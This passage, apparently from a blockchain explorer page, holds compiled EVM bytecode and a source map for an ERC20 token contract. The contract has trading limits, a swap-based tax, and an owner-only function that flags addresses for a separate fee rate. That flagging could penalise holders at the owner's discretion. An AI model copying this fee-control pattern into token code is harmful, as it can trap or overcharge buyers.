0405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161074e565b6113818282611840565b6001600160a01b038086165f9081526020819052604080822093909355908516815290812080548492906113b6908490611853565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161140291815260200190565b60405180910390a350505050565b5f61145183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115a8565b9392505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061148b5761148b61189b565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114e2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611506919061191c565b816001815181106115195761151961189b565b6001600160a01b039283166020918202929092010152600c5461153f9130911684610b63565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906115779085905f90869030904290600401611937565b5f604051808303815f87803b15801561158e575f80fd5b505af11580156115a0573d5f803e3d5ffd5b505050505050565b5f81848411156115cb5760405162461bcd60e51b815260040161074e91906115e0565b505f6115d78585611840565b95945050505050565b5f6020808352835180828501525f5b8181101561160b578581018301518582016040015282016115ef565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ac8575f80fd5b803561164a8161162b565b919050565b5f8060408385031215611660575f80fd5b823561166b8161162b565b946020939093013593505050565b5f805f6060848603121561168b575f80fd5b83356116968161162b565b925060208401356116a68161162b565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156116dc575f80fd5b823567ffffffffffffffff808211156116f3575f80fd5b818501915085601f830112611706575f80fd5b813581811115611718576117186116b7565b8060051b604051601f19603f8301168101818110858211171561173d5761173d6116b7565b60405291825284820192508381018501918883111561175a575f80fd5b938501935b8285101561177f576117708561163f565b8452938501939285019261175f565b98975050505050505050565b5f6020828403121561179b575f80fd5b81356114518161162b565b5f602082840312156117b6575f80fd5b5035919050565b5f80604083850312156117ce575f80fd5b82356117d98161162b565b915060208301356117e98161162b565b809150509250929050565b600181811c9082168061180857607f821691505b60208210810361182657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156106bc576106bc61182c565b808201808211156106bc576106bc61182c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f600182016118c0576118c061182c565b5060010190565b80820281158282048414176106bc576106bc61182c565b5f602082840312156118ee575f80fd5b81518015158114611451575f80fd5b5f8261191757634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561192c575f80fd5b81516114518161162b565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119855784516001600160a01b031683529383019391830191600101611960565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f9427cfa9afb2e0d3844eb15e55d90fedf5787d97fbe8b2f25b6e0e9b3b16c4664736f6c63430008140033
Deployed Bytecode
0x6080604052600436106101f4575f3560e01c80638da5cb5b11610108578063c85c07711161009d578063e47269af1161006d578063e47269af1461058b578063f14210a6146105a0578063f25f4b56146105bf578063f2fde38b146105de578063fb4ee9fb146105fd575f80fd5b8063c85c0771146104ef578063d5e23cc714610504578063dbe66ca014610519578063dd62ed3e14610547575f80fd5b80639ed6b920116100d85780639ed6b9201461047d578063a457c2d71461049c578063a9059cbb146104bb578063b9766949146104da575f80fd5b80638da5cb5b146104185780638ea5220f1461043557806395d89b41146104545780639654b5c314610468575f80fd5b80634e17a2db11610189578063715018a611610159578063715018a614610385578063719a623f14610399578063735de9f7146103b857806381ffc9f4146103ef5780638a8c523c14610404575f80fd5b80634e17a2db1461030257806352fc215d146103175780636ddd17131461033857806370a0823114610351575f80fd5b806323b872dd116101c457806323b872dd14610294578063313ce567146102b357806339509351146102ce578063444bd60b146102ed575f80fd5b806306fdde03146101ff578063095ea7b31461022957806318160ddd146102585780631c1702f314610276575f80fd5b366101fb57005b5f80fd5b34801561020a575f80fd5b5061021361061c565b60405161022091906115e0565b60405180910390f35b348015610234575f80fd5b5061024861024336600461164f565b6106ac565b6040519015158152602001610220565b348015610263575f80fd5b506001545b604051908152602001610220565b348015610281575f80fd5b50600a5461024890610100900460ff1681565b34801561029f575f80fd5b506102486102ae366004611679565b6106c2565b3480156102be575f80fd5b5060405160128152602001610220565b3480156102d9575f80fd5b506102486102e836600461164f565b610776565b3480156102f8575f80fd5b50610268600f5481565b34801561030d575f80fd5b5061026860145481565b348015610322575f80fd5b506103366103313660046116cb565b6107ac565b005b348015610343575f80fd5b50600a546102489060ff1681565b34801561035c575f80fd5b5061026861036b36600461178b565b6001600160a01b03165f9081526020819052604090205490565b348015610390575f80fd5b5061033661083f565b3480156103a4575f80fd5b506103366103b33660046117a6565b610874565b3480156103c3575f80fd5b50600c546103d7906001600160a01b031681565b6040516001600160a01b039091168152602001610220565b3480156103fa575f80fd5b5061026860095481565b34801561040f575f80fd5b506103366108cb565b348015610423575f80fd5b506006546001600160a01b03166103d7565b348015610440575f80fd5b506008546103d7906001600160a01b031681565b34801561045f575f80fd5b50610213610906565b348015610473575f80fd5b5061026860155481565b348015610488575f80fd5b5061033661049736600461164f565b610915565b3480156104a7575f80fd5b506102486104b636600461164f565b6109d3565b3480156104c6575f80fd5b506102486104d536600461164f565b610a6d565b3480156104e5575f80fd5b50610268600d5481565b3480156104fa575f80fd5b50610268600e5481565b34801561050f575f80fd5b5061026860105481565b348015610524575f80fd5b5061024861053336600461178b565b60126020525f908152604090205460ff1681565b348015610552575f80fd5b506102686105613660046117bd565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610596575f80fd5b5061026860115481565b3480156105ab575f80fd5b506103366105ba3660046117a6565b610a79565b3480156105ca575f80fd5b506007546103d7906001600160a01b031681565b3480156105e9575f80fd5b506103366105f836600461178b565b610acb565b348015610608575f80fd5b506004546103d7906001600160a01b031681565b60606002805461062b906117f4565b80601f0160208091040260200160405190810160405280929190818152602001828054610657906117f4565b80156106a25780601f10610679576101008083540402835291602001916106a2565b820191905f5260205f20905b81548152906001019060200180831161068557829003601f168201915b5050505050905090565b5f6106b8338484610b63565b5060015b92915050565b5f6106ce848484610c86565b6001600160a01b0384165f908152600560209081526040808320338452909152902054828110156107575760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61076b85336107668685611840565b610b63565b506001949350505050565b335f8181526005602090815260408083206001600160a01b038716845290915281205490916106b8918590610766908690611853565b6006546001600160a01b031633146107d65760405162461bcd60e51b815260040161074e90611866565b5f5b815181101561083b576001600b5f8484815181106107f8576107f861189b565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905580610833816118af565b9150506107d8565b5050565b6006546001600160a01b031633146108695760405162461bcd60e51b815260040161074e90611866565b6108725f61108e565b565b6006546001600160a01b0316331461089e5760405162461bcd60e51b815260040161074e90611866565b6108b081670de0b6b3a76400006118c7565b6011556108c581670de0b6b3a76400006118c7565b60105550565b6006546001600160a01b031633146108f55760405162461bcd60e51b815260040161074e90611866565b600a805461ffff1916610101179055565b60606003805461062b906117f4565b6006546001600160a01b0316331461093f5760405162461bcd60e51b815260040161074e90611866565b816001600160a01b031663a9059cbb6109606006546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af11580156109aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ce91906118de565b505050565b335f9081526005602090815260408083206001600160a01b038616845290915281205482811015610a545760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161074e565b610a6333856107668685611840565b5060019392505050565b5f6106b8338484610c86565b6006546001600160a01b03163314610aa35760405162461bcd60e51b815260040161074e90611866565b610ac881610ab96006546001600160a01b031690565b6001600160a01b0316906110df565b50565b6006546001600160a01b03163314610af55760405162461bcd60e51b815260040161074e90611866565b6001600160a01b038116610b5a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161074e565b610ac88161108e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161074e565b6001600160a01b038216610c265760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161074e565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8111610ce75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161074e565b6001600160a01b0382165f908152600b602052604090205460ff1680610d2457506001600160a01b0383165f908152600b602052604090205460ff165b15610d3057600d546015555b60135460ff16158015610d5b57506001600160a01b0383165f9081526012602052604090205460ff16155b8015610d7f57506001600160a01b0382165f9081526012602052604090205460ff16155b15610f3c57600a54610100900460ff16610ddb5760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206163746976652079657400000000000000604482015260640161074e565b43600f54600e54610dec9190611853565b1115610e62576004546001600160a01b03838116911614610e2a576001600160a01b0382165f908152600b60205260409020805460ff191660011790555b6004546001600160a01b03848116911614610e62576001600160a01b0383165f908152600b60205260409020805460ff191660011790555b601054811115610ead5760405162461bcd60e51b815260206004820152601660248201527513585e151e105b5bdd5b9d081a5cc81b1a5b5a5d195960521b604482015260640161074e565b6004546001600160a01b03838116911614610f3c5760115481610ee4846001600160a01b03165f9081526020819052604090205490565b610eee9190611853565b1115610f3c5760405162461bcd60e51b815260206004820152601a60248201527f4d617857616c6c6574416d6f756e74206973206c696d69746564000000000000604482015260640161074e565b6013545f9060ff1680610f6657506001600160a01b0384165f9081526012602052604090205460ff165b80610f8857506001600160a01b0383165f9081526012602052604090205460ff165b15610f9457505f61100c565b6004546001600160a01b038481169116148015610fc957506001600160a01b0384165f908152600b602052604090205460ff16155b15610fef57606460155483610fde91906118c7565b610fe891906118fd565b905061100c565b606460145483610fff91906118c7565b61100991906118fd565b90505b600a5460ff168015611021575060135460ff16155b801561102c57505f81115b801561104657506004546001600160a01b03858116911614155b15611053576110536111f4565b801561107d5761106484308361123a565b61107884846110738585611410565b61123a565b611088565b61108884848461123a565b50505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b8047101561112f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161074e565b5f826001600160a01b0316826040515f6040518083038185875af1925050503d805f8114611178576040519150601f19603f3d011682016040523d82523d5f602084013e61117d565b606091505b50509050806109ce5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161074e565b305f908152602081905260409020546009548110610ac8574761121682611458565b5f6112218247611840565b6007549091506109ce906001600160a01b0316826110df565b6001600160a01b03831661129e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161074e565b6001600160a01b0382166113005760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161074e565b6001600160a01b0383165f90815260208190526040902054818110156113775760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161074e565b6113818282611840565b6001600160a01b038086165f9081526020819052604080822093909355908516815290812080548492906113b6908490611853565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161140291815260200190565b60405180910390a350505050565b5f61145183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115a8565b9392505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061148b5761148b61189b565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114e2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611506919061191c565b816001815181106115195761151961189b565b6001600160a01b039283166020918202929092010152600c5461153f9130911684610b63565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906115779085905f90869030904290600401611937565b5f604051808303815f87803b15801561158e575f80fd5b505af11580156115a0573d5f803e3d5ffd5b505050505050565b5f81848411156115cb5760405162461bcd60e51b815260040161074e91906115e0565b505f6115d78585611840565b95945050505050565b5f6020808352835180828501525f5b8181101561160b578581018301518582016040015282016115ef565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ac8575f80fd5b803561164a8161162b565b919050565b5f8060408385031215611660575f80fd5b823561166b8161162b565b946020939093013593505050565b5f805f6060848603121561168b575f80fd5b83356116968161162b565b925060208401356116a68161162b565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156116dc575f80fd5b823567ffffffffffffffff808211156116f3575f80fd5b818501915085601f830112611706575f80fd5b813581811115611718576117186116b7565b8060051b604051601f19603f8301168101818110858211171561173d5761173d6116b7565b60405291825284820192508381018501918883111561175a575f80fd5b938501935b8285101561177f576117708561163f565b8452938501939285019261175f565b98975050505050505050565b5f6020828403121561179b575f80fd5b81356114518161162b565b5f602082840312156117b6575f80fd5b5035919050565b5f80604083850312156117ce575f80fd5b82356117d98161162b565b915060208301356117e98161162b565b809150509250929050565b600181811c9082168061180857607f821691505b60208210810361182657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156106bc576106bc61182c565b808201808211156106bc576106bc61182c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f600182016118c0576118c061182c565b5060010190565b80820281158282048414176106bc576106bc61182c565b5f602082840312156118ee575f80fd5b81518015158114611451575f80fd5b5f8261191757634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561192c575f80fd5b81516114518161162b565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119855784516001600160a01b031683529383019391830191600101611960565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f9427cfa9afb2e0d3844eb15e55d90fedf5787d97fbe8b2f25b6e0e9b3b16c4664736f6c63430008140033
Deployed Bytecode Sourcemap
12689:5791:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7750:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8908:169;;;;;;;;;;-1:-1:-1;8908:169:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;8908:169:0;1162:187:1;7856:108:0;;;;;;;;;;-1:-1:-1;7944:12:0;;7856:108;;;1500:25:1;;;1488:2;1473:18;7856:108:0;1354:177:1;13037:24:0;;;;;;;;;;-1:-1:-1;13037:24:0;;;;;;;;;;;9304:422;;;;;;;;;;-1:-1:-1;9304:422:0;;;;;:::i;:::-;;:::i;7972:93::-;;;;;;;;;;-1:-1:-1;7972:93:0;;8055:2;2139:36:1;;2127:2;2112:18;7972:93:0;1997:184:1;9083:215:0;;;;;;;;;;-1:-1:-1;9083:215:0;;;;;:::i;:::-;;:::i;13233:27::-;;;;;;;;;;;;;;;;13480:28;;;;;;;;;;;;;;;;17222:179;;;;;;;;;;-1:-1:-1;17222:179:0;;;;;:::i;:::-;;:::i;:::-;;13007:23;;;;;;;;;;-1:-1:-1;13007:23:0;;;;;;;;8234:127;;;;;;;;;;-1:-1:-1;8234:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8335:18:0;8308:7;8335:18;;;;;;;;;;;;8234:127;12207:94;;;;;;;;;;;;;:::i;18333:142::-;;;;;;;;;;-1:-1:-1;18333:142:0;;;;;:::i;:::-;;:::i;13120:28::-;;;;;;;;;;-1:-1:-1;13120:28:0;;;;-1:-1:-1;;;;;13120:28:0;;;;;;-1:-1:-1;;;;;4060:32:1;;;4042:51;;4030:2;4015:18;13120:28:0;3881:218:1;12956:44:0;;;;;;;;;;;;;;;;14336:101;;;;;;;;;;;;;:::i;12108:87::-;;;;;;;;;;-1:-1:-1;12181:6:0;;-1:-1:-1;;;;;12181:6:0;12108:87;;12880:69;;;;;;;;;;-1:-1:-1;12880:69:0;;;;-1:-1:-1;;;;;12880:69:0;;;7638:104;;;;;;;;;;;;;:::i;13515:29::-;;;;;;;;;;;;;;;;16544:149;;;;;;;;;;-1:-1:-1;16544:149:0;;;;;:::i;:::-;;:::i;10288:377::-;;;;;;;;;;-1:-1:-1;10288:377:0;;;;;:::i;:::-;;:::i;8721:175::-;;;;;;;;;;-1:-1:-1;8721:175:0;;;;;:::i;:::-;;:::i;13155:34::-;;;;;;;;;;;;;;;;13196:30;;;;;;;;;;;;;;;;13267:49;;;;;;;;;;;;;;;;13393;;;;;;;;;;-1:-1:-1;13393:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8075:151;;;;;;;;;;-1:-1:-1;8075:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;8191:18:0;;;8164:7;8191:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8075:151;13329:49;;;;;;;;;;;;;;;;14214:114;;;;;;;;;;-1:-1:-1;14214:114:0;;;;;:::i;:::-;;:::i;12804:69::-;;;;;;;;;;-1:-1:-1;12804:69:0;;;;-1:-1:-1;;;;;12804:69:0;;;12307:192;;;;;;;;;;-1:-1:-1;12307:192:0;;;;;:::i;:::-;;:::i;7400:25::-;;;;;;;;;;-1:-1:-1;7400:25:0;;;;-1:-1:-1;;;;;7400:25:0;;;7750:100;7804:13;7837:5;7830:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7750:100;:::o;8908:169::-;8991:4;9008:39;321:10;9031:7;9040:6;9008:8;:39::i;:::-;-1:-1:-1;9065:4:0;8908:169;;;;;:::o;9304:422::-;9410:4;9427:36;9437:6;9445:9;9456:6;9427:9;:36::i;:::-;-1:-1:-1;;;;;9503:19:0;;9476:24;9503:19;;;:11;:19;;;;;;;;321:10;9503:33;;;;;;;;9555:26;;;;9547:79;;;;-1:-1:-1;;;9547:79:0;;5292:2:1;9547:79:0;;;5274:21:1;5331:2;5311:18;;;5304:30;5370:34;5350:18;;;5343:62;-1:-1:-1;;;5421:18:1;;;5414:38;5469:19;;9547:79:0;;;;;;;;;9637:57;9646:6;321:10;9668:25;9687:6;9668:16;:25;:::i;:::-;9637:8;:57::i;:::-;-1:-1:-1;9714:4:0;;9304:422;-1:-1:-1;;;;9304:422:0:o;9083:215::-;321:10;9171:4;9220:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9220:34:0;;;;;;;;;;9171:4;;9188:80;;9211:7;;9220:47;;9257:10;;9220:47;:::i;17222:179::-;12181:6;;-1:-1:-1;;;;;12181:6:0;321:10;12022:23;12014:68;;;;-1:-1:-1;;;12014:68:0;;;;;;;:::i;:::-;17303:6:::1;17298:96;17319:6;:13;17315:1;:17;17298:96;;;17378:4;17355:9;:20;17365:6;17372:1;17365:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;17355:20:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;17355:20:0;:27;;-1:-1:-1;;17355:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17334:3;::::1;::::0;::::1;:::i;:::-;;;;17298:96;;;;17222:179:::0;:::o;12207:94::-;12181:6;;-1:-1:-1;;;;;12181:6:0;321:10;12022:23;12014:68;;;;-1:-1:-1;;;12014:68:0;;;;;;;:::i;:::-;12272:21:::1;12290:1;12272:9;:21::i;:::-;12207:94::o:0;18333:142::-;12181:6;;-1:-1:-1;;;;;12181:6:0;321:10;12022:23;12014:68;;;;-1:-1:-1;;;12014:68:0;;;;;;;:::i;:::-;18420:15:::1;:6:::0;18429::::1;18420:15;:::i;:::-;18405:12;:30:::0;18452:15:::1;:6:::0;18461::::1;18452:15;:::i;:::-;18437:12;:30:::0;-1:-1:-1;18333:142:0:o;14336:101::-;12181:6;;-1:-1:-1;;;;;12181:6:0;321:10;12022:23;12014:68;;;;-1:-1:-1;;;12014:68:0;;;;;;;:::i;:::-;14390:12:::1;:19:::0;;-1:-1:-1;;14411:18:0;;;;;14336:101::o;7638:104::-;7694:13;7727:7;7720:14;;;;;:::i;16544:149::-;12181:6;;-1:-1:-1;;;;;12181:6:0;321:10;12022:23;12014:68;;;;-1:-1:-1;;;12014:68:0;;;;;;;:::i;:::-;16646:12:::1;-1:-1:-1::0;;;;;16639:29:0::1;;16669:7;12181:6:::0;;-1:-1:-1;;;;;12181:6:0;;12108:87;16669:7:::1;16639:46;::::0;-1:-1:-1;;;;;;16639:46:0::1;::::0;;;;;;-1:-1:-1;;;;;6892:32:1;;;16639:46:0::1;::::0;::::1;6874:51:1::0;6941:18;;;6934:34;;;6847:18;;16639:46:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;16544:149:::0;;:::o;10288:377::-;321:10;10381:4;10425:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10425:34:0;;;;;;;;;;10478:35;;;;10470:85;;;;-1:-1:-1;;;10470:85:0;;7463:2:1;10470:85:0;;;7445:21:1;7502:2;7482:18;;;7475:30;7541:34;7521:18;;;7514:62;-1:-1:-1;;;7592:18:1;;;7585:35;7637:19;;10470:85:0;7261:401:1;10470:85:0;10566:67;321:10;10589:7;10598:34;10617:15;10598:16;:34;:::i;10566:67::-;-1:-1:-1;10653:4:0;;10288:377;-1:-1:-1;;;10288:377:0:o;8721:175::-;8807:4;8824:42;321:10;8848:9;8859:6;8824:9;:42::i;14214:114::-;12181:6;;-1:-1:-1;;;;;12181:6:0;321:10;12022:23;12014:68;;;;-1:-1:-1;;;12014:68:0;;;;;;;:::i;:::-;14283:37:::1;14310:9;14291:7;12181:6:::0;;-1:-1:-1;;;;;12181:6:0;;12108:87;14291:7:::1;-1:-1:-1::0;;;;;14283:26:0::1;::::0;::::1;:37::i;:::-;14214:114:::0;:::o;12307:192::-;12181:6;;-1:-1:-1;;;;;12181:6:0;321:10;12022:23;12014:68;;;;-1:-1:-1;;;12014:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12396:22:0;::::1;12388:73;;;::::0;-1:-1:-1;;;12388:73:0;;7869:2:1;12388:73:0::1;::::0;::::1;7851:21:1::0;7908:2;7888:18;;;7881:30;7947:34;7927:18;;;7920:62;-1:-1:-1;;;7998:18:1;;;7991:36;8044:19;;12388:73:0::1;7667:402:1::0;12388:73:0::1;12472:19;12482:8;12472:9;:19::i;8369:346::-:0;-1:-1:-1;;;;;8471:19:0;;8463:68;;;;-1:-1:-1;;;8463:68:0;;8276:2:1;8463:68:0;;;8258:21:1;8315:2;8295:18;;;8288:30;8354:34;8334:18;;;8327:62;-1:-1:-1;;;8405:18:1;;;8398:34;8449:19;;8463:68:0;8074:400:1;8463:68:0;-1:-1:-1;;;;;8550:21:0;;8542:68;;;;-1:-1:-1;;;8542:68:0;;8681:2:1;8542:68:0;;;8663:21:1;8720:2;8700:18;;;8693:30;8759:34;8739:18;;;8732:62;-1:-1:-1;;;8810:18:1;;;8803:32;8852:19;;8542:68:0;8479:398:1;8542:68:0;-1:-1:-1;;;;;8623:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8675:32;;1500:25:1;;;8675:32:0;;1473:18:1;8675:32:0;;;;;;;8369:346;;;:::o;14443:2093::-;14559:1;14550:6;:10;14542:64;;;;-1:-1:-1;;;14542:64:0;;9084:2:1;14542:64:0;;;9066:21:1;9123:2;9103:18;;;9096:30;9162:34;9142:18;;;9135:62;-1:-1:-1;;;9213:18:1;;;9206:39;9262:19;;14542:64:0;8882:405:1;14542:64:0;-1:-1:-1;;;;;14621:20:0;;;;;;:9;:20;;;;;;;;;:41;;-1:-1:-1;;;;;;14645:17:0;;;;;;:9;:17;;;;;;;;14621:41;14618:100;;;14692:14;;14679:10;:27;14618:100;14762:10;;;;14761:11;:40;;;;-1:-1:-1;;;;;;14777:24:0;;;;;;:16;:24;;;;;;;;14776:25;14761:40;:86;;;;-1:-1:-1;;;;;;14820:27:0;;;;;;:16;:27;;;;;;;;14819:28;14761:86;14758:823;;;14900:12;;;;;;;14874:82;;;;-1:-1:-1;;;14874:82:0;;9494:2:1;14874:82:0;;;9476:21:1;9533:2;9513:18;;;9506:30;9572:27;9552:18;;;9545:55;9617:18;;14874:82:0;9292:349:1;14874:82:0;15004:12;14993:8;;14975:15;;:26;;;;:::i;:::-;:41;14971:272;;;15053:10;;-1:-1:-1;;;;;15040:23:0;;;15053:10;;15040:23;15037:98;;-1:-1:-1;;;;;15088:20:0;;;;;;:9;:20;;;;;:27;;-1:-1:-1;;15088:27:0;15111:4;15088:27;;;15037:98;15149:10;;-1:-1:-1;;;;;15139:20:0;;;15149:10;;15139:20;15136:92;;-1:-1:-1;;;;;15184:17:0;;;;;;:9;:17;;;;;:24;;-1:-1:-1;;15184:24:0;15204:4;15184:24;;;15136:92;15294:12;;15284:6;:22;;15258:89;;;;-1:-1:-1;;;15258:89:0;;9848:2:1;15258:89:0;;;9830:21:1;9887:2;9867:18;;;9860:30;-1:-1:-1;;;9906:18:1;;;9899:52;9968:18;;15258:89:0;9646:346:1;15258:89:0;15378:10;;-1:-1:-1;;;;;15365:23:0;;;15378:10;;15365:23;15362:208;;15471:12;;15461:6;15438:20;15448:9;-1:-1:-1;;;;;8335:18:0;8308:7;8335:18;;;;;;;;;;;;8234:127;15438:20;:29;;;;:::i;:::-;:45;;15408:146;;;;-1:-1:-1;;;15408:146:0;;10199:2:1;15408:146:0;;;10181:21:1;10238:2;10218:18;;;10211:30;10277:28;10257:18;;;10250:56;10323:18;;15408:146:0;9997:350:1;15408:146:0;15638:10;;15602:21;;15638:10;;;:38;;-1:-1:-1;;;;;;15652:24:0;;;;;;:16;:24;;;;;;;;15638:38;:69;;;-1:-1:-1;;;;;;15680:27:0;;;;;;:16;:27;;;;;;;;15638:69;15634:418;;;-1:-1:-1;15740:1:0;15634:418;;;15799:10;;-1:-1:-1;;;;;15786:23:0;;;15799:10;;15786:23;:45;;;;-1:-1:-1;;;;;;15814:17:0;;;;;;:9;:17;;;;;;;;15813:18;15786:45;15783:258;;;15890:3;15877:10;;15868:6;:19;;;;:::i;:::-;:25;;;;:::i;:::-;15852:41;;15783:258;;;16010:3;15998:9;;15989:6;:18;;;;:::i;:::-;:24;;;;:::i;:::-;15973:40;;15783:258;16066:11;;;;:39;;;;-1:-1:-1;16095:10:0;;;;16094:11;16066:39;:73;;;;;16138:1;16122:13;:17;16066:73;:110;;;;-1:-1:-1;16166:10:0;;-1:-1:-1;;;;;16156:20:0;;;16166:10;;16156:20;;16066:110;16062:167;;;16204:13;:11;:13::i;:::-;16258:17;;16241:288;;16302:53;16318:6;16334:4;16341:13;16302:15;:53::i;:::-;16371:61;16387:6;16395:9;16406:25;:6;16417:13;16406:10;:25::i;:::-;16371:15;:61::i;:::-;16241:288;;;16475:42;16491:6;16499:9;16510:6;16475:15;:42::i;:::-;14531:2005;14443:2093;;;:::o;12507:173::-;12582:6;;;-1:-1:-1;;;;;12599:17:0;;;-1:-1:-1;;;;;;12599:17:0;;;;;;;12632:40;;12582:6;;;12599:17;12582:6;;12632:40;;12563:16;;12632:40;12552:128;12507:173;:::o;481:315::-;596:6;571:21;:31;;563:73;;;;-1:-1:-1;;;563:73:0;;10776:2:1;563:73:0;;;10758:21:1;10815:2;10795:18;;;10788:30;10854:31;10834:18;;;10827:59;10903:18;;563:73:0;10574:353:1;563:73:0;648:12;666:9;-1:-1:-1;;;;;666:14:0;688:6;666:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;647:52;;;718:7;710:78;;;;-1:-1:-1;;;710:78:0;;11344:2:1;710:78:0;;;11326:21:1;11383:2;11363:18;;;11356:30;11422:34;11402:18;;;11395:62;11493:28;11473:18;;;11466:56;11539:19;;710:78:0;11142:422:1;17409:419:0;17495:4;17451:23;8335:18;;;;;;;;;;;17535:11;;17516:30;;17512:309;;17594:21;17636:30;17650:15;17636:13;:30::i;:::-;17687:20;17710:38;17734:14;17710:21;:38;:::i;:::-;17773:9;;17687:61;;-1:-1:-1;17765:42:0;;-1:-1:-1;;;;;17773:9:0;17687:61;17765:28;:42::i;9736:544::-;-1:-1:-1;;;;